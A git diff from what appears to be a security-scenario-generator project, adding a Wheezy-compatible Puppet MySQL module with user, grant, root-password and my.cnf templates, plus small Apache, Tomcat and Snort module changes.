diff --git a/modules/services/unix/database/mysql/manifests/server/installdb.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/installdb.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/server/installdb.pp
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/installdb.pp
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/monitor.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/monitor.pp
new file mode 100644
index 000000000..6b1860983
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/monitor.pp
@@ -0,0 +1,24 @@
+#This is a helper class to add a monitoring user to the database
+class mysql::server::monitor (
+ $mysql_monitor_username = '',
+ $mysql_monitor_password = '',
+ $mysql_monitor_hostname = ''
+) {
+
+ Anchor['mysql::server::end'] -> Class['mysql::server::monitor']
+
+ mysql_user { "${mysql_monitor_username}@${mysql_monitor_hostname}":
+ ensure => present,
+ password_hash => mysql_password($mysql_monitor_password),
+ require => Class['mysql::server::service'],
+ }
+
+ mysql_grant { "${mysql_monitor_username}@${mysql_monitor_hostname}/*.*":
+ ensure => present,
+ user => "${mysql_monitor_username}@${mysql_monitor_hostname}",
+ table => '*.*',
+ privileges => [ 'PROCESS', 'SUPER' ],
+ require => Mysql_user["${mysql_monitor_username}@${mysql_monitor_hostname}"],
+ }
+
+}
diff --git a/modules/services/unix/database/mysql/manifests/server/mysqltuner.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/mysqltuner.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/server/mysqltuner.pp
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/mysqltuner.pp
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/providers.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/providers.pp
new file mode 100644
index 000000000..b651172fc
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/providers.pp
@@ -0,0 +1,8 @@
+# Convenience class to call each of the three providers with the corresponding
+# hashes provided in mysql::server.
+# See README.md for details.
+class mysql::server::providers {
+ create_resources('mysql_user', $mysql::server::users)
+ create_resources('mysql_grant', $mysql::server::grants)
+ create_resources('mysql_database', $mysql::server::databases)
+}
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/root_password.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/root_password.pp
new file mode 100644
index 000000000..9ebc10398
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/root_password.pp
@@ -0,0 +1,46 @@
+#
+class mysql::server::root_password {
+
+ $options = $mysql::server::options
+ $secret_file = $mysql::server::install_secret_file
+
+ # New installations of MySQL will configure a default random password for the root user
+ # with an expiration. No actions can be performed until this password is changed. The
+ # below exec will remove this default password. If the user has supplied a root
+ # password it will be set further down with the mysql_user resource.
+ $rm_pass_cmd = join([
+ "mysqladmin -u root --password=\$(grep -o '[^ ]\\+\$' ${secret_file}) password ''",
+ "rm -f ${secret_file}"
+ ], ' && ')
+ exec { 'remove install pass':
+ command => $rm_pass_cmd,
+ onlyif => "test -f ${secret_file}",
+ path => '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin'
+ }
+
+ # manage root password if it is set
+ if $mysql::server::create_root_user == true and $mysql::server::root_password != 'UNSET' {
+ mysql_user { 'root@localhost':
+ ensure => present,
+ password_hash => mysql_password($mysql::server::root_password),
+ require => Exec['remove install pass']
+ }
+ }
+
+ if $mysql::server::create_root_my_cnf == true and $mysql::server::root_password != 'UNSET' {
+ file { "${::root_home}/.my.cnf":
+ content => template('mysql/my.cnf.pass.erb'),
+ owner => 'root',
+ mode => '0600',
+ }
+
+ # show_diff was added with puppet 3.0
+ if versioncmp($::puppetversion, '3.0') >= 0 {
+ File["${::root_home}/.my.cnf"] { show_diff => false }
+ }
+ if $mysql::server::create_root_user == true {
+ Mysql_user['root@localhost'] -> File["${::root_home}/.my.cnf"]
+ }
+ }
+
+}
diff --git a/modules/services/unix/database/mysql/manifests/server/service.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/service.pp
similarity index 100%
rename from modules/services/unix/database/mysql/manifests/server/service.pp
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/service.pp
diff --git a/modules/services/unix/database/mysql/metadata.json b/modules/services/unix/database/mysql_wheezy_compatible/mysql/metadata.json
similarity index 100%
rename from modules/services/unix/database/mysql/metadata.json
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/metadata.json
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/mysql.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/mysql.pp
new file mode 100644
index 000000000..128fcf69b
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/mysql.pp
@@ -0,0 +1,11 @@
+stage { 'preinstall':
+ before => Stage['main']
+}
+class apt_get_update {
+ exec { '/usr/bin/apt-get -y update': }
+}
+class { 'apt_get_update':
+ stage => preinstall
+}
+
+include '::mysql::server'
\ No newline at end of file
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/secgen_metadata.xml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/secgen_metadata.xml
new file mode 100644
index 000000000..799fb6f2a
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/secgen_metadata.xml
@@ -0,0 +1,33 @@
+
+
+
+ MySQL database - Wheezy Compatible
+ Connor Wilson
+ David Schmitt
+ Puppet Labs
+ Apache v2
+ A secure instalation of MySQL
+
+ database
+ linux
+
+
+ https://www.mysql.com/
+ https://forge.puppet.com/puppetlabs/mysql/0.6.1/readme
+ mysql
+ GPL v2
+
+
+ .*Stretch.*
+
+
+ .*Kali.*
+
+
+
+ mysql
+
+
+
\ No newline at end of file
diff --git a/modules/services/unix/database/mysql/spec/acceptance/mysql_backup_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/mysql_backup_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/acceptance/mysql_backup_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/mysql_backup_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/acceptance/mysql_db_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/mysql_db_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/acceptance/mysql_db_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/mysql_db_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/acceptance/mysql_server_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/mysql_server_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/acceptance/mysql_server_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/mysql_server_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/centos-510-x64.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/centos-510-x64.yml
similarity index 100%
rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/centos-510-x64.yml
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/centos-510-x64.yml
diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/centos-59-x64.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/centos-59-x64.yml
similarity index 100%
rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/centos-59-x64.yml
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/centos-59-x64.yml
diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/centos-64-x64-pe.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/centos-64-x64-pe.yml
similarity index 100%
rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/centos-64-x64-pe.yml
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/centos-64-x64-pe.yml
diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/centos-65-x64.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/centos-65-x64.yml
similarity index 100%
rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/centos-65-x64.yml
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/centos-65-x64.yml
diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/default.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/default.yml
similarity index 100%
rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/default.yml
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/default.yml
diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/fedora-18-x64.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/fedora-18-x64.yml
similarity index 100%
rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/fedora-18-x64.yml
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/fedora-18-x64.yml
diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/sles-11-x64.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/sles-11-x64.yml
similarity index 100%
rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/sles-11-x64.yml
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/sles-11-x64.yml
diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml
similarity index 100%
rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml
diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml
similarity index 100%
rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml
diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml
similarity index 100%
rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml
diff --git a/modules/services/unix/database/mysql/spec/acceptance/types/mysql_database_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/types/mysql_database_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/acceptance/types/mysql_database_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/types/mysql_database_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/acceptance/types/mysql_grant_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/types/mysql_grant_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/acceptance/types/mysql_grant_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/types/mysql_grant_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/acceptance/types/mysql_plugin_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/types/mysql_plugin_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/acceptance/types/mysql_plugin_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/types/mysql_plugin_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/acceptance/types/mysql_user_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/types/mysql_user_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/acceptance/types/mysql_user_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/types/mysql_user_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/classes/graceful_failures_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/graceful_failures_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/classes/graceful_failures_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/graceful_failures_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/classes/mycnf_template_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mycnf_template_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/classes/mycnf_template_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mycnf_template_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/classes/mysql_bindings_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_bindings_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/classes/mysql_bindings_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_bindings_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/classes/mysql_client_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_client_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/classes/mysql_client_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_client_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/classes/mysql_server_account_security_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_account_security_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/classes/mysql_server_account_security_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_account_security_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/classes/mysql_server_backup_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_backup_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/classes/mysql_server_backup_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_backup_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/classes/mysql_server_monitor_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_monitor_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/classes/mysql_server_monitor_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_monitor_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/classes/mysql_server_mysqltuner_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_mysqltuner_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/classes/mysql_server_mysqltuner_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_mysqltuner_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/classes/mysql_server_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/classes/mysql_server_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/defines/mysql_db_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/defines/mysql_db_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/defines/mysql_db_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/defines/mysql_db_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/spec.opts b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/spec.opts
similarity index 100%
rename from modules/services/unix/database/mysql/spec/spec.opts
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/spec.opts
diff --git a/modules/services/unix/database/mysql/spec/spec_helper.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/spec_helper.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/spec_helper.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/spec_helper.rb
diff --git a/modules/services/unix/database/mysql/spec/spec_helper_acceptance.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/spec_helper_acceptance.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/spec_helper_acceptance.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/spec_helper_acceptance.rb
diff --git a/modules/services/unix/database/mysql/spec/spec_helper_local.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/spec_helper_local.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/spec_helper_local.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/spec_helper_local.rb
diff --git a/modules/services/unix/database/mysql/spec/unit/facter/mysql_server_id_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/facter/mysql_server_id_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/unit/facter/mysql_server_id_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/facter/mysql_server_id_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/unit/facter/mysql_version_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/facter/mysql_version_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/unit/facter/mysql_version_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/facter/mysql_version_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/functions/mysql_deepmerge_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/functions/mysql_deepmerge_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/unit/puppet/functions/mysql_deepmerge_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/functions/mysql_deepmerge_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/functions/mysql_password_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/functions/mysql_password_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/unit/puppet/functions/mysql_password_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/functions/mysql_password_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/functions/mysql_table_exists_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/functions/mysql_table_exists_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/unit/puppet/functions/mysql_table_exists_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/functions/mysql_table_exists_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/provider/mysql_database/mysql_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/provider/mysql_database/mysql_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/unit/puppet/provider/mysql_database/mysql_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/provider/mysql_database/mysql_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/provider/mysql_plugin/mysql_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/provider/mysql_plugin/mysql_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/unit/puppet/provider/mysql_plugin/mysql_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/provider/mysql_plugin/mysql_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/provider/mysql_user/mysql_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/provider/mysql_user/mysql_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/unit/puppet/provider/mysql_user/mysql_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/provider/mysql_user/mysql_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/type/mysql_database_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/type/mysql_database_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/unit/puppet/type/mysql_database_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/type/mysql_database_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/type/mysql_grant_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/type/mysql_grant_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/unit/puppet/type/mysql_grant_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/type/mysql_grant_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/type/mysql_plugin_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/type/mysql_plugin_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/unit/puppet/type/mysql_plugin_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/type/mysql_plugin_spec.rb
diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/type/mysql_user_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/type/mysql_user_spec.rb
similarity index 100%
rename from modules/services/unix/database/mysql/spec/unit/puppet/type/mysql_user_spec.rb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/type/mysql_user_spec.rb
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/meb.cnf.erb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/meb.cnf.erb
new file mode 100644
index 000000000..d157af99a
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/meb.cnf.erb
@@ -0,0 +1,18 @@
+### MANAGED BY PUPPET ###
+
+<% @options.sort.map do |k,v| -%>
+<% if v.is_a?(Hash) -%>
+[<%= k %>]
+<% v.sort.map do |ki, vi| -%>
+<% if vi == true or v == '' -%>
+<%= ki %>
+<% elsif vi.is_a?(Array) -%>
+<% vi.each do |vii| -%>
+<%= ki %> = <%= vii %>
+<% end -%>
+<% elsif ![nil, '', :undef].include?(vi) -%>
+<%= ki %> = <%= vi %>
+<% end -%>
+<% end -%>
+<% end %>
+<% end -%>
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/my.cnf.erb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/my.cnf.erb
new file mode 100644
index 000000000..7d1f1486b
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/my.cnf.erb
@@ -0,0 +1,24 @@
+### MANAGED BY PUPPET ###
+
+<% @options.sort.map do |k,v| -%>
+<% if v.is_a?(Hash) -%>
+[<%= k %>]
+<% v.sort.map do |ki, vi| -%>
+<% if ki == 'ssl-disable' or (ki =~ /^ssl/ and v['ssl-disable'] == true) -%>
+<% next %>
+<% elsif vi == true or vi == '' -%>
+<%= ki %>
+<% elsif vi.is_a?(Array) -%>
+<% vi.each do |vii| -%>
+<%= ki %> = <%= vii %>
+<% end -%>
+<% elsif ![nil, '', :undef].include?(vi) -%>
+<%= ki %> = <%= vi %>
+<% end -%>
+<% end -%>
+<% end %>
+<% end -%>
+
+<% if @includedir and @includedir != '' %>
+!includedir <%= @includedir %>
+<% end %>
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/my.cnf.pass.erb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/my.cnf.pass.erb
new file mode 100644
index 000000000..b82cca3f7
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/my.cnf.pass.erb
@@ -0,0 +1,11 @@
+### MANAGED BY PUPPET ###
+
+<% %w(mysql client mysqldump mysqladmin mysqlcheck).each do |section| %>
+[<%= section -%>]
+user=root
+host=localhost
+<% unless scope.lookupvar('mysql::server::root_password') == 'UNSET' -%>
+password='<%= scope.lookupvar('mysql::server::root_password') %>'
+<% end -%>
+socket=<%= @options['client']['socket'] %>
+<% end %>
diff --git a/modules/services/unix/database/mysql/templates/mysqlbackup.sh.erb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/mysqlbackup.sh.erb
similarity index 100%
rename from modules/services/unix/database/mysql/templates/mysqlbackup.sh.erb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/mysqlbackup.sh.erb
diff --git a/modules/services/unix/database/mysql/templates/xtrabackup.sh.erb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/xtrabackup.sh.erb
similarity index 100%
rename from modules/services/unix/database/mysql/templates/xtrabackup.sh.erb
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/xtrabackup.sh.erb
diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/init.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/init.pp
index 516c966ad..e6349988c 100755
--- a/modules/services/unix/http/apache_kali_compatible/apache/manifests/init.pp
+++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/init.pp
@@ -90,6 +90,7 @@ class apache (
$error_log = $::apache::params::error_log,
$scriptalias = $::apache::params::scriptalias,
$access_log_file = $::apache::params::access_log_file,
+ $overwrite_ports = false, # TODO: Implement this as in wheezy apache
) inherits ::apache::params {
$valid_mpms_re = $apache_version ? {
diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/vhost.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/vhost.pp
index 98bbfcb57..0d58fa8a9 100644
--- a/modules/services/unix/http/apache_kali_compatible/apache/manifests/vhost.pp
+++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/vhost.pp
@@ -44,7 +44,7 @@ define apache::vhost(
$servername = $name,
$serveraliases = [],
$options = ['Indexes','FollowSymLinks','MultiViews'],
- $override = ['None'],
+ $override = ['All'],
$directoryindex = '',
$vhost_name = '*',
$logroot = $::apache::logroot,
diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/secgen_metadata.xml b/modules/services/unix/http/apache_wheezy_compatible/apache/secgen_metadata.xml
index 5957f3b55..30d64e60b 100644
--- a/modules/services/unix/http/apache_wheezy_compatible/apache/secgen_metadata.xml
+++ b/modules/services/unix/http/apache_wheezy_compatible/apache/secgen_metadata.xml
@@ -26,6 +26,9 @@
Kali
+
+ Stretch
+ update
diff --git a/modules/services/unix/http/tomcat/tomcat.pp b/modules/services/unix/http/tomcat/tomcat.pp
index 5c0369f32..63bead44e 100644
--- a/modules/services/unix/http/tomcat/tomcat.pp
+++ b/modules/services/unix/http/tomcat/tomcat.pp
@@ -1,6 +1,6 @@
tomcat::install { '/opt/tomcat':
- source_url => 'https://www-us.apache.org/dist/tomcat/tomcat-7/v7.0.82/bin/apache-tomcat-7.0.82.tar.gz',
+ source_url => 'https://www-us.apache.org/dist/tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90.tar.gz',
}
tomcat::instance { 'default':
catalina_home => '/opt/tomcat',
-}
\ No newline at end of file
+}
diff --git a/modules/utilities/unix/example/requires_ubuntu/manifests/install.pp b/modules/utilities/unix/example/requires_ubuntu/manifests/install.pp
new file mode 100644
index 000000000..fcce33972
--- /dev/null
+++ b/modules/utilities/unix/example/requires_ubuntu/manifests/install.pp
@@ -0,0 +1,5 @@
+class snort::install{
+ package { ['snort']:
+ ensure => 'installed',
+ }
+}
diff --git a/modules/utilities/unix/example/requires_ubuntu/manifests/service.pp b/modules/utilities/unix/example/requires_ubuntu/manifests/service.pp
new file mode 100644
index 000000000..ccb5b54eb
--- /dev/null
+++ b/modules/utilities/unix/example/requires_ubuntu/manifests/service.pp
@@ -0,0 +1,5 @@
+class snort::service{
+ service { 'snort':
+ ensure => running
+ }
+}
\ No newline at end of file
diff --git a/modules/utilities/unix/example/requires_ubuntu/requires_ubuntu.pp b/modules/utilities/unix/example/requires_ubuntu/requires_ubuntu.pp
new file mode 100644
index 000000000..da3ba83e1
--- /dev/null
+++ b/modules/utilities/unix/example/requires_ubuntu/requires_ubuntu.pp
@@ -0,0 +1,2 @@
+# include snort::install
+# include snort::service
diff --git a/modules/utilities/unix/example/requires_ubuntu/secgen_metadata.xml b/modules/utilities/unix/example/requires_ubuntu/secgen_metadata.xml
new file mode 100644
index 000000000..e1373d029
--- /dev/null
+++ b/modules/utilities/unix/example/requires_ubuntu/secgen_metadata.xml
@@ -0,0 +1,18 @@
+
+
+
+ Snort IDS
+ Z. Cliffe Schreuders
+ Apache v2
+ Installs Snort, the popular intrusion detection system (IDS).
+
+ audit_tools
+ linux
+
+
+ bases/ubuntu_xenial_64
+
+
+
